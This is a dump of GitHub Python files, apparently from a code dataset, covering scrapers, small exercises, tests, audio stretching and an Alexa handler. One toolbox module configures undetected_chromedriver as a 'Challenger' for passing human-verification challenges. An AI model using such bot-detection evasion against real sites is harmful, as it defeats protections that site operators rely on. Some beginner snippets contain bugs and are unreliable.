(name))\n\tcur.execute('commit;')\n\treturn 'RIP STEVE'\n\nif __name__ == \"__main__\":\n\tapp.run(host='0.0.0.0', port='5000')\n\n@app.route('/lmao')\ndef root():\n return app.send_static_file('index.html')\n","repo_name":"KreechurCS/lab3-repo","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"13882361155","text":"import os\nimport requests\nfrom bs4 import BeautifulSoup, Tag\nfrom urllib.parse import urljoin\nimport cssbeautifier\n\nclass ScrapCss:\n def __init__(self, link):\n self.link = link\n\n def scrap_css(self):\n try:\n # Send an HTTP GET request to the webpage\n response = requests.get(self.link)\n response.raise_for_status()\n\n # Get the HTML content of the page\n html_content = response.text\n\n # Extract CSS file URLs from the webpage and convert to absolute URLs\n base_url = response.url\n soup = BeautifulSoup(html_content, 'html.parser')\n css_urls = [urljoin(base_url, link['href']) for link in soup.find_all('link', rel='stylesheet')]\n\n # Create an \"output\" folder if it doesn't exist\n output_path = \"output\"\n if not os.path.exists(output_path):\n os.makedirs(output_path)\n\n # Download and store CSS files in the \"output\" folder\n for css_url in css_urls:\n folder_name = os.path.dirname(css_url.replace(base_url, \"\").replace(\"http://\", \"\").replace(\"https://\", \"\"))\n if folder_name.startswith(\"/\"):\n folder_name = folder_name[1:]\n folder_path = os.path.join(output_path, folder_name)\n try:\n os.makedirs(folder_path, exist_ok=True)\n filename = os.path.basename(css_url)\n try:\n css_content = requests.get(css_url).text\n # Beautify CSS content\n css_content = cssbeautifier.beautify(css_content)\n with open(os.path.join(folder_path, filename), 'w', encoding='utf-8') as file:\n file.write(css_content)\n print(\"Downloaded and beautified:\", css_url)\n except Exception as e:\n print(f\"Failed to download {css_url}: {e}\")\n except Exception as e:\n print(f\"Failed to download {css_url}: {e}\")\n\n print(\"CSS files downloaded and saved successfully.\")\n except requests.exceptions.RequestException as e:\n print(f\"Failed to fetch content from {self.link}: {e}\")\n","repo_name":"Paulraj916/WebPageScraper","sub_path":"scrapCss.py","file_name":"scrapCss.py","file_ext":"py","file_size_in_byte":2306,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"11"} +{"seq_id":"11002691945","text":"birler=[\"\",\"bir\",\"iki\",\"üç\",\"dört\",\"beş\",\"altı\",\"yedi\",\"sekiz\",\"dokuz\"]\r\nonlar=[\"\",\"on\",\"yirmi\",\"otuz\",\"kırk\",\"elli\",\"altmış\",\"yetmiş\",\"seksen\",\"doksan\"]\r\n\r\ndef oku(s):\r\n birinci = s%10\r\n ikinci =s//10\r\n\r\n return onlar[ikinci]+\" \"+birler[birinci]\r\n\r\ns=int(input(\"sayı:\"))\r\nprint(oku(s))","repo_name":"umutstarley/pyton-project","sub_path":"pyton.py","file_name":"pyton.py","file_ext":"py","file_size_in_byte":305,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"1589117734","text":"\n#Here is part of what I was testing at one time\nimport os\nimport csv\n\n#define your workspace\nws = \"\"\n\n#input percentile table, will need to change path\ninfile1 = os.path.join(ws, \"ec_percentile_range.csv\")\ninfile2 = os.path.join(ws, \"hu_hr_percentile_range.csv\")\ninfile3 = os.path.join(ws, \"ten_hr_percentile_range.csv\")\ninfile4 = os.path.join(ws, \"th_hr_percentile_range.csv\")\n\nfilteredcsv = os.path.join(ws, \"tx_nfdr_obs_2015060223.csv\")\n\t\t\nwith open(infile1) as ec_perc, open(infile2) as hu_perc, open(infile3) as ten_perc, open(infile4) as th_perc, open(filteredcsv) as filt_csv:\n\t\n\treader1 = csv.DictReader(ec_perc)\n\treader2 = csv.DictReader(hu_perc)\n\treader3 = csv.DictReader(ten_perc)\n\treader4 = csv.DictReader(th_perc)\n\treader5 = csv.DictReader(filt_csv)\n\t\n\tmyDict1 = list(reader1)\n\tmyDict2 = list(reader2)\n\tmyDict3 = list(reader3)\n\tmyDict4 = list(reader4)\n\tmyDict5 = list(reader5)\n\n#Testing with erc percentile and observations\nsortmyDict1 = sorted(myDict1, key=lambda k: k['sta_id'])\nsortmyDict5 = sorted(myDict5, key=lambda k: k['sta_id'])\n\nkeys_a = set(item['sta_id'] for item in myDict1)\nkeys_b = set(item['sta_id'] for item in myDict5)\nintersection = keys_a & keys_b\n\n# functions to reclassify fire danger, ten hour percentile, hundred hour percentile, thousand hour percentile, and dryness\ndef adj_reclass(adj):\n if adj == 'L':\n return 1\n elif adj == 'M':\n return 2\n elif adj == 'H':\n return 3\n elif adj == 'V':\n return 4\n elif adj == 'E':\n return 5\n\ndef ten_percentile(ten_hr, C97, C90_96, C75_89, C50_74, C0_49):\n if ten_hr <= C97:\n return 1\n elif ten_hr < C75_89:\n return 2\n elif ten_hr < C50_74:\n return 3\n elif ten_hr < C0_49:\n return 4\n else:\n return 5\n\ndef hu_percentile(hu_hr, C3, C4_10 , C11_25, C26_50, C51_100):\n if hu_hr <= C3:\n return 1\n elif hu_hr < C11_25:\n return 2\n elif hu_hr < C26_50:\n return 3\n elif hu_hr < C51_100:\n return 4\n else:\n return 5\n\ndef th_percentile(th_hr, C97, C90_96, C75_89, C50_74, C0_49):\n if th_hr <= C97:\n return 1\n elif th_hr < C75_89:\n return 2\n elif th_hr < C50_74:\n return 3\n elif th_hr < C0_49:\n return 4\n else:\n return 5\n\ndef ec_percentile(ec, C97, C90_96, C75_89, C50_74, C0_49):\n if ec >= C97:\n return 5\n elif ec >= C90_96:\n return 4\n elif ec >= C75_89:\n return 3\n elif ec >= C50_74:\n return 2\n else:\n return 1\n\ndef dryness(hu_hr_p, ec_p):\n if hu_hr_p == 5 and ec_p == 1:\n return 1\n elif hu_hr_p <= 4 and ec_p == 1:\n return 2\n elif hu_hr_p >= 3 and ec_p == 2:\n return 2\n elif hu_hr_p <= 2 and ec_p == 2:\n return 3\n elif hu_hr_p == 5 and ec_p == 3:\n return 2\n elif hu_hr_p <= 4 and ec_p == 3:\n return 3\n elif hu_hr_p >= 3 and ec_p == 4:\n return 3\n elif hu_hr_p <= 2 and ec_p == 4:\n return 4\n elif hu_hr_p >= 3 and ec_p == 5:\n return 3\n elif hu_hr_p == 2 and ec_p == 5:\n return 4\n elif hu_hr_p == 1 and ec_p == 5:\n return 5\n else :\n return 100\n\t\t\n\t\t","repo_name":"PeterTFS/ASOS","sub_path":"testscript.py","file_name":"testscript.py","file_ext":"py","file_size_in_byte":3181,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"25756935663","text":"\"\"\"\nEntry point for lambda\n\"\"\"\nfrom _ebcf_alexa import interaction_model, incoming_types, speechlet\nimport logging\n\nLOG = logging.getLogger()\nLOG.setLevel(logging.DEBUG)\nALEXA_SKILL_ID = 'amzn1.ask.skill.d6f2f7c4-7689-410d-9c35-8f8baae37969'\n\n\ndef lambda_handler(event_dict: dict, context) -> dict:\n \"\"\" Route the incoming request based on type (LaunchRequest, IntentRequest,\n etc.) The JSON body of the request is provided in the event parameter.\n \"\"\"\n LOG.debug(repr(event_dict))\n event = incoming_types.LambdaEvent(event_dict)\n LOG.info(\"Start Lambda Event for event.session.application.applicationId=%s\",\n event.session.application.application_id)\n\n # This is the official application id\n if event.session.application.application_id != ALEXA_SKILL_ID:\n raise ValueError(\"Invalid Application ID: %s\" % event.session.application.application_id)\n\n return interaction_model.handle_event(event).dict()\n\n\nif __name__ == '__main__':\n logging.basicConfig(format='%(levelname)s %(filename)s-%(funcName)s-%(lineno)d: %(message)s', level=logging.DEBUG)\n import json\n import sys\n import pprint\n import pdb\n import traceback\n try:\n pprint.pprint(lambda_handler(json.load(sys.stdin), None))\n except Exception:\n traceback.print_exc()\n pdb.post_mortem()\n raise","repo_name":"dmotles/ebcf-alexa","sub_path":"ebcf_alexa.py","file_name":"ebcf_alexa.py","file_ext":"py","file_size_in_byte":1346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"9372963512","text":"from rich import print\nfrom rich.console import Console\nfrom rich.table import Table\nfrom .core import *\nfrom .messages import show_command_not_found\nfrom ..shared.display import *\n\n\ndef display_command_by_name(query, display_index=False, is_global=False):\n commands_to_display = get_command_by_name(query, is_global)\n if commands_to_display:\n id_column_size = calc_id_column_size(commands_to_display)\n for command in commands_to_display:\n display_find_command(query, command,\n display_index, id_column_size, is_global)\n else:\n show_command_not_found()\n\ndef display_command_list(display_index=False):\n command_dict = group_commands_by_name()\n id_column_size = calc_id_column_size(get_commands())\n for value in command_dict.values():\n for item in value:\n display_command(item, display_index, id_column_size)\n\ndef display_find_command(query, command, display_index, id_column_length, is_global):\n index_cell = get_index_content(command.id, display_index, id_column_length)\n command_name = highlight_find_results(command.command, query)\n command_description = command.description\n if is_global:\n command_description = highlight_find_results(command.description, query, GREEN)\n print(f\"{index_cell}[{BLUE}] {command_name}[{GREEN}] - {command_description}\")\n\ndef display_command(command, display_index, id_column_length=5):\n index_cell = get_index_content(command.id, display_index, id_column_length)\n print(f\"{index_cell}[{BLUE}] {command.command}[{GREEN}] - {command.description}\")\n\ndef get_index_content(command_id, display_index, id_column_length):\n id = str(command_id) + ' '*(id_column_length - len(str(command_id)))\n return f\"[{BLUE}]|[{YELLOW}] {id}[{BLUE}] |\" if display_index else \"\"\n\ndef calc_id_column_size(commands):\n command_ids = [c.id for c in commands]\n highest_command_id = max(command_ids) if command_ids else \"\"\n return len(str(highest_command_id))\n\ndef display_commands_table_view(query=''):\n all_commands = get_command_by_name(query, True) if query else get_commands()\n console = Console()\n table = Table(show_header=True, header_style=RED)\n table.add_column(\"Id\")\n table.add_column(\"Command\")\n table.add_column(\"Description\")\n for c in all_commands:\n command = highlight_find_results(c.command, query)\n description = highlight_find_results(c.description, query, GREEN)\n table.add_row(\n f'[{YELLOW}]{str(c.id)}',\n f'[{BLUE}]{command}',\n f'[{GREEN}]{description}'\n )\n console.print(table)\n\ndef display_command_name_list(column_amount):\n commands = get_command_name_list()\n chunked_list = []\n chunk_size = column_amount if len(commands) >= column_amount else len(commands)\n if not chunk_size:\n print(f'[{RED}] No commands have been found yet.')\n return\n for i in range(0, len(commands), chunk_size):\n chunked_list.append(commands[i:i+chunk_size])\n console = Console()\n table = Table(show_header=False, header_style=RED)\n for i in range(chunk_size):\n table.add_column()\n for chunk in chunked_list:\n row = []\n for cn in range(0, chunk_size):\n row.append(f'[{GREEN}]{chunk[cn] if len(chunk) > cn else \"\"}')\n table.add_row(*row) \n console.print(table)\n\n","repo_name":"obaranovskyi/cmdcheatsheet","sub_path":"cmdcheatsheet/commands/display.py","file_name":"display.py","file_ext":"py","file_size_in_byte":3366,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"11"} +{"seq_id":"32302120104","text":"import sys\r\nsys.setrecursionlimit(10000)\r\ninput = sys.stdin.readline\r\nN, r, c = map(int,input().split())\r\nN = 2**N\r\nnum = 0\r\n\r\ndef divide(x,y,n):\r\n global num\r\n if x > r or y > c or x+n<=r or y+n<=c:\r\n num += n**2\r\n return\r\n if n == 2:\r\n for i in range(x,x+2):\r\n for j in range(y,y+2):\r\n if i == r and j == c:\r\n print(num)\r\n sys.exit()\r\n num += 1\r\n else:\r\n divide(x,y,n//2)\r\n divide(x,y+n//2,n//2)\r\n divide(x+n//2,y,n//2)\r\n divide(x+n//2,y+n//2,n//2)\r\n\r\ndivide(0,0,N)\r\n","repo_name":"micros0ft-kr/Baekjoon","sub_path":"백준/Silver/1074. Z/Z.py","file_name":"Z.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"72669744026","text":"import librosa\nimport soundfile\n\nimport numpy as np\nfrom scipy.fftpack import fft, ifft\n\nimport sys\n\ndef stretch(input_filename, output_filename, t_scale = 1., window_len=512):\n \n s, fs = librosa.load(input_filename)\n \n audio_length = s.size\n\n window_len = 512\n synt_len = window_len // 4\n\n out_length = int(audio_length / t_scale + window_len)\n\n phi = np.zeros(window_len)\n out = np.zeros(window_len, dtype=complex)\n sigout = np.zeros(out_length)\n\n expected_ph = 2 * np.pi * synt_len / window_len * np.arange(0, window_len).T\n\n win = np.hanning(window_len)\n pout = 0\n pstretch = 0\n\n while pstretch < audio_length-(window_len+synt_len):\n\n p = int(pstretch)\n\n prev_spec = fft(win*s[p:p+window_len])\n cur_spec = fft(win*s[p+synt_len:p+window_len+synt_len])\n\n cur_magn = np.abs(cur_spec)\n\n phi += (np.angle(cur_spec) - np.angle(prev_spec)) - expected_ph\n phi = ((-phi + np.pi) % (2.0 * np.pi) - np.pi) + expected_ph \n\n out.real, out.imag = np.cos(phi), np.sin(phi)\n\n out *= cur_magn\n sigout[pout:pout+window_len] += win * ifft(out).real\n\n pout += synt_len\n pstretch += synt_len*t_scale\n \n soundfile.write(output_filename, sigout, fs)\n\nif __name__ == '__main__':\n stretch(sys.argv[1], sys.argv[2], t_scale=float(sys.argv[3]))\n","repo_name":"IvanBespalov64/phase_vocoder","sub_path":"stretching.py","file_name":"stretching.py","file_ext":"py","file_size_in_byte":1366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"70035335388","text":"import pytest\n\nfrom source.model_trainer.model_trainer import ModelTrainer\nfrom source.model_trainer.grid_search import ARIMAGridSearch, ProphetGridSearch\nfrom tests.tests_fixtures.fixtures import supply_df\nfrom source.models.custom_estimators import ARIMAEstimator, ProphetEstimator\n\ndef test_model_trainer_arima(mocker, supply_df):\n \"\"\"\n Test the ModelTrainer on the ARIMA model\n\n Parameters\n ----------\n supply_df : pandas.DataFrame\n DataFrame containing data to test the models\n \"\"\"\n results = {\n 'MAE': 15.2,\n 'Model': ARIMAEstimator(),\n 'Name': 'ARIMA'\n }\n\n arima_grid_search = ARIMAGridSearch(range_limit=1)\n model_trainer_arima = ModelTrainer(supply_df, arima_grid_search)\n\n # Mocks the model grid search method which is already tested\n mocker.patch('source.model_trainer.model_trainer.ARIMAGridSearch.grid_search', return_value=results)\n arima_results = model_trainer_arima.grid_search()\n\n assert isinstance(arima_results, dict)\n assert arima_results['MAE'] == 15.2\n assert isinstance(arima_results['MAE'], float)\n assert isinstance(arima_results['Model'], ARIMAEstimator)\n assert arima_results['Name'] == 'ARIMA'\n\ndef test_model_trainer_prophet(mocker, supply_df):\n \"\"\"\n Test the ModelTrainer on the Prophet model\n\n Parameters\n ----------\n supply_df : pandas.DataFrame\n DataFrame containing data to test the models\n \"\"\"\n results = {\n 'MAE': 15.2,\n 'Model': ProphetEstimator(),\n 'Name': 'Prophet'\n }\n\n prophet_grid_search = ProphetGridSearch()\n model_trainer_prophet = ModelTrainer(supply_df, prophet_grid_search)\n\n # Mocks the model grid search method which is already tested\n mocker.patch('source.model_trainer.model_trainer.ProphetGridSearch.grid_search', return_value=results)\n prophet_results = model_trainer_prophet.grid_search()\n\n assert isinstance(prophet_results, dict)\n assert prophet_results\n assert prophet_results['MAE'] == 15.2\n assert isinstance(prophet_results['Model'], ProphetEstimator)\n assert prophet_results['Name'] == 'Prophet'","repo_name":"hectorLop/CO2_emissions_forecast","sub_path":"tests/model_trainer/test_model_trainer.py","file_name":"test_model_trainer.py","file_ext":"py","file_size_in_byte":2122,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"70716836507","text":"# -*- coding: utf-8 -*-\n# Time : 2022/1/16 0:27\n# Author : QIN2DIM\n# Github : https://github.com/QIN2DIM\n# Description:\nimport logging\nimport os\nimport sys\nimport typing\nimport warnings\nfrom dataclasses import dataclass\nfrom typing import List, Union, Dict\n\nfrom loguru import logger\nfrom selenium.webdriver import ChromeOptions\nfrom undetected_chromedriver import Chrome as Challenger\nfrom webdriver_manager.chrome import ChromeDriverManager\n\nlogging.getLogger(\"WDM\").setLevel(logging.NOTSET)\n\nwarnings.filterwarnings(\"ignore\", category=FutureWarning)\n\n\nclass ToolBox:\n \"\"\"可移植的工具箱\"\"\"\n\n @staticmethod\n def runtime_report(action_name: str, motive: str = \"RUN\", message: str = \"\", **params) -> str:\n \"\"\"格式化输出\"\"\"\n flag_ = f\">> {motive} [{action_name}]\"\n if message != \"\":\n flag_ += f\" {message}\"\n if params:\n flag_ += \" - \"\n flag_ += \" \".join([f\"{i[0]}={i[1]}\" for i in params.items()])\n return flag_\n\n @staticmethod\n def transfer_cookies(\n api_cookies: Union[List[Dict[str, str]], str]\n ) -> Union[str, List[Dict[str, str]]]:\n \"\"\"\n ctx_cookies --> request_cookies\n request_cookies --> ctx_cookies\n\n :param api_cookies: api.get_cookies() or cookie_body\n :return:\n \"\"\"\n if isinstance(api_cookies, str):\n return [\n {\"name\": i.split(\"=\")[0], \"value\": i.split(\"=\")[1]} for i in api_cookies.split(\"; \")\n ]\n return \"; \".join([f\"{i['name']}={i['value']}\" for i in api_cookies])\n\n\ndef init_log(**sink_path):\n \"\"\"初始化 loguru 日志信息\"\"\"\n event_logger_format = (\n \"{time:YYYY-MM-DD HH:mm:ss} | \"\n \"{level} - \"\n # \"{name} | \"\n \"{message}\"\n )\n logger.remove()\n logger.add(\n sink=sys.stdout, colorize=True, level=\"DEBUG\", format=event_logger_format, diagnose=False\n )\n if sink_path.get(\"error\"):\n logger.add(\n sink=sink_path.get(\"error\"),\n level=\"ERROR\",\n rotation=\"1 week\",\n encoding=\"utf8\",\n diagnose=False,\n )\n if sink_path.get(\"runtime\"):\n logger.add(\n sink=sink_path.get(\"runtime\"),\n level=\"DEBUG\",\n rotation=\"20 MB\",\n retention=\"20 days\",\n encoding=\"utf8\",\n diagnose=False,\n )\n return logger\n\n\n@dataclass\nclass DriverWrapper:\n silence: bool = False\n path: str = \"\"\n options = ChromeOptions()\n\n def __post_init__(self):\n self.options.headless = self.silence\n\n self.options.add_argument(\"--log-level=3\")\n self.options.add_argument(\"--disable-software-rasterizer\")\n\n # Unified Challenge Language\n os.environ[\"LANGUAGE\"] = \"zh\"\n self.options.add_argument(f\"--lang={os.getenv('LANGUAGE', '')}\")\n\n # Hook to headful xvfb server\n if \"linux\" in sys.platform or self.silence:\n self.options.add_argument(\"--disable-setuid-sandbox\")\n self.options.add_argument(\"--disable-gpu\")\n self.options.add_argument(\"--no-sandbox\")\n self.options.add_argument(\"--no-xshm\")\n self.options.add_argument(\"--disable-dev-shm-usage\")\n self.options.add_argument(\"--no-first-run\")\n\n if self.silence:\n self.options.add_argument(\"--window-size=1920,1080\")\n self.options.add_argument(\"--start-maximized\")\n\n # - Use chromedriver cache to improve application startup speed\n # - Requirement: undetected-chromedriver >= 3.1.5.post4\n self.path = self.path or ChromeDriverManager().install()\n\n\ndef get_challenge_ctx(silence: typing.Optional[bool] = None) -> Challenger:\n \"\"\"挑战者驱动 用于处理人机挑战\"\"\"\n driver_wrapper = DriverWrapper(silence=silence)\n options = driver_wrapper.options\n if \"linux\" in sys.platform:\n logger.info(\"Please use `xvfb` to empower the headful Chrome.\")\n logger.info(\"CMD: xvfb-run python3 main.py claim\")\n if silence:\n raise RuntimeError(\"Please use `xvfb` to empower the headful Chrome.\")\n logging.debug(ToolBox.runtime_report(\"__Context__\", \"ACTIVATE\", \"🎮 激活挑战者上下文\"))\n return Challenger(options=options, driver_executable_path=driver_wrapper.path)\n","repo_name":"cym31153/eplus","sub_path":"src/services/utils/toolbox.py","file_name":"toolbox.py","file_ext":"py","file_size_in_byte":4369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"25194491722","text":"\r\nprint(\"---------------1---------------------\")\r\n\r\nx=int(input(\"Enter the 1st number\"))\r\ny=int(input(\"Enter the 2nd number\"))\r\nprint(\"The numbers before SWappin are:\",x,y)\r\ntemp=x\r\nx=y\r\ny=temp\r\nprint(\"The numbers after swapping are:\",x,y)\r\n\r\nprint(\"---------------2---------------------\")\r\n\r\n\r\nx=int(input(\"Enter the 1st number\"))\r\ny=int(input(\"Enter the 2nd number\"))\r\nprint(\"The numbers before SWappin are:\",x,y)\r\nx=x+y\r\ny=x-y\r\nx=x-y\r\nprint(\"The numbers after swapping are:\",x,y)\r\n\r\n\r\nprint(\"--------------3----------------------\")\r\n\r\ndef fun(num):\r\n if num>0:\r\n print(num,\"is a positive number.\")\r\n elif num<0:\r\n print(num,\"is a negative number.\")\r\n else:\r\n print(num,\"is Zero.\")\r\nnum=int(input(\"Enter a number\"))\r\nfun(num)\r\n\r\nprint(\"--------------4---------------------\")\r\n\r\n\r\ndef fun(num):\r\n if num%2==0:\r\n print(num,\"is Even number.\")\r\n else:\r\n print(num,\"is odd numbber.\")\r\nnum=int(input(\"Enter a number.\"))\r\nfun(num) \r\n\r\nprint(\"--------------5----------------------\")\r\n\r\ndef fun(num):\r\n count=0\r\n for i in range(1,num+1):\r\n if num%i==0:\r\n count=count+1\r\n if count==2:\r\n print(num,\"is a prime number\")\r\n else:\r\n print(num,\"is a not a primwe number\")\r\nnum=int(intput(\"Enter a number:\"))\r\nfun(num) \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"YUNUS0786/Python-Programs","sub_path":"Impoartanat Programs.py","file_name":"Impoartanat Programs.py","file_ext":"py","file_size_in_byte":1348,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"2467841017","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nimport copy\n\n\nclass Solution:\n def pathSum(self, root, targetSum: int):\n if not root:\n return []\n results = []\n stack = [root]\n paths = [[root.val]]\n while stack:\n node = stack.pop()\n path1 = copy.deepcopy(paths.pop())\n path2 = copy.deepcopy(path1)\n\n if not node.left and not node.right and sum(path1) == targetSum:\n results.append(path1)\n\n if node.left:\n stack.append(node.left)\n path1.append(node.left.val)\n paths.append(path1)\n if node.right:\n stack.append(node.right)\n path2.append(node.right.val)\n paths.append(path2)\n\n return results","repo_name":"ssssssxy/lc","sub_path":"7_tree/num_113_pathSum.py","file_name":"num_113_pathSum.py","file_ext":"py","file_size_in_byte":958,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"20963164851","text":"# def multplicacao (x, y):\n# total = x * y\n# return total\n\n# def number (numero):\n# if numero % 2 == 0:\n# print(f'{numero} é par.')\n# else:\n# print(f'{numero} é impar.')\n \n# number(multplicacao(int(input('Digite um número: ')), int(input('Digite outro número: '))))\n\n#simluador de dado\nimport random\nimport os\n\nclass SimuladorDeDado:\n def __init__(self):\n self.valor_Minimo = 1\n self.valor_Maximo = 6\n self.mensagem = 'Você gostaria de gerar um novo valor para o dado? '\n\n def Iniciar(self):\n resposta = input(self.mensagem)\n try:\n if resposta == 'sim' or resposta == 's':\n self.gerarValorDoDado()\n elif resposta == 'não' or resposta == 'n':\n os.system('cls')\n print('Agradecemos a sua participação!')\n else:\n os.system('cls')\n print('Favor digitar sim ou não')\n except:\n os.system('cls')\n print('Ocorreu um erro ao receber sua resposta')\n\n\n def gerarValorDoDado(self):\n print(random.randint(self.valor_Minimo, self.valor_Maximo))\n\nsimulador = SimuladorDeDado()\nsimulador.Iniciar()\n\n","repo_name":"vininiceto/Python","sub_path":"aula21.py","file_name":"aula21.py","file_ext":"py","file_size_in_byte":1215,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"20103427400","text":"import asyncio\nimport contextlib\nimport logging\nimport textwrap\nfrom asyncio import sleep\nfrom pathlib import Path\n\nimport pytest\nimport yaml\nfrom juju.application import Application\nfrom pytest_operator.plugin import OpsTest\n\nfrom tests.integration.conftest import INGRESS_REQUIRER_MOCK_NAME, TRAEFIK_MOCK_NAME\n\nlogger = logging.getLogger(__name__)\n\nMETADATA = yaml.safe_load(Path(\"./metadata.yaml\").read_text())\nAPP_NAME = METADATA[\"name\"]\nMOCK_ROOT_URL_TEMPLATE = \"http://{{juju_unit}}.foo/bar/\"\n\n\nasync def assert_status_reached(\n ops_test, status: str, apps=(APP_NAME,), raise_on_blocked=True, timeout=180\n):\n print(f\"waiting for {apps} to reach {status}...\")\n assert not isinstance(apps, str)\n apps = list(apps)\n\n await ops_test.model.wait_for_idle(\n apps=apps,\n status=status,\n timeout=timeout,\n raise_on_blocked=False if status == \"blocked\" else raise_on_blocked,\n )\n for app in apps:\n assert ops_test.model.applications[app].units[0].workload_status == status\n\n\n@contextlib.asynccontextmanager\nasync def fast_forward(ops_test, interval: str = \"10s\"):\n # temporarily speed up update-status firing rate\n await ops_test.model.set_config({\"update-status-hook-interval\": interval})\n yield\n await ops_test.model.set_config({\"update-status-hook-interval\": \"60m\"})\n\n\n@pytest.mark.abort_on_fail\nasync def test_build_and_deploy(ops_test: OpsTest, traefik_route_charm):\n await ops_test.model.deploy(traefik_route_charm, application_name=APP_NAME, series=\"focal\")\n\n\nasync def test_unit_blocked_on_deploy(ops_test: OpsTest):\n async with fast_forward(ops_test):\n # Route will go to blocked until configured\n await assert_status_reached(ops_test, \"blocked\", timeout=5000)\n\n\n# both mock charms should start as blocked until they're related\nasync def test_deploy_traefik_mock(ops_test: OpsTest, traefik_mock_charm):\n await ops_test.model.deploy(\n traefik_mock_charm, application_name=TRAEFIK_MOCK_NAME, series=\"focal\"\n )\n await assert_status_reached(ops_test, \"blocked\", apps=(TRAEFIK_MOCK_NAME,))\n\n\nasync def test_deploy_ingress_requirer_mock(ops_test: OpsTest, ingress_requirer_mock_charm):\n await ops_test.model.deploy(\n ingress_requirer_mock_charm, application_name=INGRESS_REQUIRER_MOCK_NAME, series=\"focal\"\n )\n await assert_status_reached(ops_test, \"blocked\", apps=(INGRESS_REQUIRER_MOCK_NAME,))\n\n\nasync def test_unit_blocked_after_config(ops_test: OpsTest):\n # configure\n app: Application = ops_test.model.applications.get(APP_NAME)\n await app.set_config({\"root_url\": \"http://foo/\"})\n\n await sleep(5) # give it some time to process the relation-changed...\n\n # now we're blocked still, because we have no relations.\n async with fast_forward(ops_test):\n await assert_status_reached(ops_test, \"blocked\")\n\n # cleanup!\n await app.reset_config([\"root_url\"])\n\n\nasync def test_relations(ops_test: OpsTest):\n # all is already deployed by now, so we should just be able to...\n await asyncio.gather(\n ops_test.model.add_relation(\n f\"{TRAEFIK_MOCK_NAME}:traefik-route\", f\"{APP_NAME}:traefik-route\"\n ),\n ops_test.model.add_relation(\n f\"{INGRESS_REQUIRER_MOCK_NAME}:ingress-per-unit\", f\"{APP_NAME}:ingress-per-unit\"\n ),\n )\n\n async with fast_forward(ops_test):\n # route will go to blocked until it's configured properly\n # so let's make sure it's configured:\n await ops_test.juju(\"config\", APP_NAME, f\"root_url={MOCK_ROOT_URL_TEMPLATE}\")\n # after this it will eventually reach active\n\n # both mock charms will go to WaitingStatus until their relation\n # interfaces are 'ready', but that's hard to test.\n # So we check straight away for active:\n await assert_status_reached(\n ops_test,\n apps=[APP_NAME, INGRESS_REQUIRER_MOCK_NAME, TRAEFIK_MOCK_NAME],\n status=\"active\",\n # However, route was blocked moments ago, so it might still be blocked by the time\n # we start awaiting active; so we trust it will eventually unblock itself.\n raise_on_blocked=False,\n timeout=5000,\n )\n\n\nasync def test_relation_data(ops_test: OpsTest):\n # check databag content to verify it's what we think it should be\n traefik_unit = TRAEFIK_MOCK_NAME + \"/0\"\n return_code, stdout, stderr = await ops_test.juju(\"show-unit\", traefik_unit)\n data = yaml.safe_load(stdout)\n try:\n config = data[traefik_unit][\"relation-info\"][0][\"application-data\"][\"config\"]\n except Exception:\n print(return_code, stdout, stderr, data)\n raise\n\n model_name = ops_test.model_name\n unit_name = INGRESS_REQUIRER_MOCK_NAME + \"-0\"\n url = MOCK_ROOT_URL_TEMPLATE.replace(\"{{juju_unit}}\", unit_name)\n\n expected_config = textwrap.dedent(\n f\"\"\"\n http:\n routers:\n juju-{unit_name}-{model_name}-router:\n entryPoints:\n - web\n rule: Host(`{unit_name}.foo`)\n service: juju-{unit_name}-{model_name}-service\n services:\n juju-{unit_name}-{model_name}-service:\n loadBalancer:\n servers:\n - url: {url}\n \"\"\"\n )\n assert config.strip() == expected_config.strip(), config\n","repo_name":"canonical/traefik-route-k8s-operator","sub_path":"tests/integration/test_charm.py","file_name":"test_charm.py","file_ext":"py","file_size_in_byte":5294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"35185447709","text":"headers = {\n 'Connection': 'keep-alive',\n 'Accept': 'application/json, text/plain, */*',\n 'x-nba-stats-token': 'true',\n 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36',\n 'x-nba-stats-origin': 'stats',\n 'Sec-Fetch-Site': 'same-origin',\n 'Sec-Fetch-Mode': 'cors',\n 'Referer': 'https://stats.nba.com/',\n 'Accept-Encoding': 'gzip, deflate, br',\n 'Accept-Language': 'en-US,en;q=0.9',\n}\n\n\ncolumns_list=['PLAYER_ID',\n 'PLAYER_NAME',\n 'NICKNAME',\n 'TEAM_ID',\n 'TEAM_ABBREVIATION',\n 'AGE',\n 'GP',\n 'W',\n 'L',\n 'W_PCT',\n 'MIN',\n 'FGM',\n 'FGA',\n 'FG_PCT',\n 'FG3M',\n 'FG3A',\n 'FG3_PCT',\n 'FTM',\n 'FTA',\n 'FT_PCT',\n 'OREB',\n 'DREB',\n 'REB',\n 'AST',\n 'TOV',\n 'STL',\n 'BLK',\n 'BLKA',\n 'PF',\n 'PFD',\n 'PTS',\n 